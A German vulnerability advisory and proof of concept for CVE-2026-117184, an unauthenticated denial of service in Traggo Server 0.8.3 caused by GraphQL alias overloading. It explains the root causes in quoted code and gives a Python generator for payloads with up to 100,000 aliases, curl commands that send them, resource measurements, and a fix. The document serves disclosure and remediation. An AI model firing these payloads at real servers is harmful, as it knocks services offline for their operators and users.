
Proof-of-Concept und technische Analyse zu CVE-2026-117184, einer nicht authentifizierten Denial-of-Service-Schwachstelle durch GraphQL-Alias-Überladung in Traggo 0.8.3, mit Payload-Generator und Hinweisen zur Behebung.
Traggo Server v0.8.3 ist anfällig für eine nicht authentifizierte Denial-of-Service-Attacke (DoS). Der GraphQL-Endpunkt akzeptiert eine unbegrenzte Anzahl von aliasten Feldern und hat keine Begrenzung der Request-Body-Größe. Da dem Feld version die Direktive @hasRole fehlt, kann dies ohne Anmeldung ausgelöst werden.
Ein präpariertes Dokument mit vielen Aliasen (z. B. {v0:version{name} v1:version{name} ...}) zwingt den Server, viel Zeit für die Auflösung von Feldern aufzuwenden und übermäßig viel Speicher zu allokieren. Eine einzelne Anfrage mit 100.000 Aliasen (eine Nutzlast von 2,0 MB) bindet einen CPU-Kern für über 100 Sekunden und verbraucht nahezu 1 GB RAM. Parallele Anfragen können den Prozess leicht in den OOM-Bereich (Out of Memory) treiben.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-117184 |
| Offizieller Eintrag | cve.org/CVERecord?id=CVE-2026-117184 |
| Betroffene Version | Traggo Server v0.8.3 (Commit 6321119c3c2d55f04e2e4967f6492aabd6067b76) |
| Schwachstellentyp | CWE-400: Unkontrollierter Ressourcenverbrauch (DoS) |
| Angriffsvektor | Netzwerk |
| Erforderliche Berechtigungen | Keine (nicht authentifiziert) |
| Betroffene Komponente | GraphQL-Endpunkt /graphql (graphql/handler.go), schema.graphql, logger/gql.go |
| Ursprünglicher Bericht | traggo/server#253 |
| Dateipfad | Beschreibung |
|---|---|
graphql/handler.go | Handler-Setup ohne Komplexitätslimit und ohne Body-Größenlimit. |
schema.graphql | Dem Feld version fehlt die Authentifizierungsdirektive. |
auth/hasrole.go | Implementierung der Direktive (wird für version übersprungen). |
graphql/resolver.go | Der version-Resolver wird für jeden Alias aufgerufen. |
logger/gql.go | Die Rohabfrage wird bei Fehlern protokolliert, was die Auswirkung der Body-Größe verstärkt. |
graphql/handler.go:13-27 — handler.ComplexityLimit(...) wird nie übergeben. Der Request-Body gelangt direkt in gqlHandler.ServeHTTP, ohne http.MaxBytesReader.
func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}), handler.RequestMiddleware(logger.GQLLog()))
playground := handler.Playground("Traggo Playground", endpoint)
return func(writer http.ResponseWriter, request *http.Request) {
if acceptHTMLAndNotJSON(request) {
playground.ServeHTTP(writer, request)
} else {
gqlHandler.ServeHTTP(writer, request)
}
}
}
versionschema.graphql:62 — Während andere Felder @hasRole(role: USER) besitzen, fehlt diese Angabe beim Feld version, wodurch es ohne Authorization-Header erreichbar ist.
devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!
graphql/resolver.go:67-71 — Jeder Alias im Selection Set ruft den Resolver separat auf, wodurch CPU- und Speichernutzung vervielfacht werden.
func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
gql := &gqlmodel.Version{}
copier.Copy(gql, r.version)
return gql, nil
}
gqlgen v0.17.85 aktiviert das Komplexitätslimit nur, wenn die Anwendung es explizit setzt (handler/handler.go:59-67). Da Traggo dies nicht tut, ist cfg.complexityLimit 0, und es wird keine Erweiterung hinzugefügt.
logger/gql.go:27-36 — Selbst wenn die Abfrage fehlschlägt, wird die Rohabfrage protokolliert. Eine 20-MB-Nutzlast erzeugt pro Anfrage einen 20-MB-Log-Eintrag.
if len(errs) > 0 {
// ...
log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}
Getestet auf v0.8.3, aus dem Quellcode gebaut mit go build (Go 1.24.4, SQLite, 4 Kerne, 7,7 GB RAM).
API=http://127.0.0.1:3999/graphql
curl -s -D - "$API" \
-H 'Content-Type: application/json' \
--data-binary '{"query":"{version{name commit}}"}' \
-o /tmp/version.json
cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}
python3 - <<'EOF'
import json
for n in (5000, 20000, 50000, 100000):
q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
with open(f"/tmp/alias_{n}.json", "w") as f:
json.dump({"query": q}, f)
EOF
(Die 100k-Datei ist 2.088.904 Bytes groß).
for n in 5000 20000 50000; do
curl -s "$API" -H 'Content-Type: application/json' \
-d @/tmp/alias_$n.json -o /dev/null \
-w "$n: http=%{http_code} time=%{time_total}\n"
done
| Aliase | Anforderungsgröße | Zeit | Anmerkungen |
|---|---|---|---|
| 5.000 | 99 KB | 0,15 s | |
| 20.000 | 409 KB | 2,37 s | |
| 50.000 | 1,0 MB | 24,47 s | 100 % eines Kerns |
| 100.000 | 2,0 MB | 102,56 s | RSS 962 MB |
Drei 50k-Anfragen parallel zeigten 291–299 % CPU auf einem 4-Kern-Rechner. Der Server stürzt nicht sofort ab, aber kleine Abfragen bleiben reaktionsfähig (etwa 1 ms), während die großen laufen. Das Hauptproblem ist CPU-Pinning und potenzielles OOM.
Limits in graphql/handler.go anwenden:
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}),
handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
handler.RequestMiddleware(logger.GQLLog()),
)
// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
// ... (rest of the handler)
}
Hinweis: Mit ComplexityLimit(1000) schlägt die 50k-Alias-Abfrage in 0,17s mit einem Fehler fehl: operation has complexity 100000, which exceeds the limit of 1000.
version einschränkenWenn version nicht öffentlich sein muss, füge @hasRole(role: USER) zu schema.graphql hinzu:
version: Version! @hasRole(role: USER)
| Komponente | Version |
|---|---|
| Traggo Server | v0.8.3 (Commit 6321119c...) |
| Go | 1.24.4 |
| gqlgen | 0.17.85 |
| Datenbank | SQLite |
| Betriebssystem | Linux (4 Kerne, 7,7 GB RAM) |
| Datum | Ereignis |
|---|---|
| 2026-10-22 | Issue #253 im Repository des Traggo-Servers gemeldet |
| 2026-10-30 | Offizieller CVE-Eintrag auf cve.org veröffentlicht |
| — | Warten auf Antwort des Maintainers zur Behebung |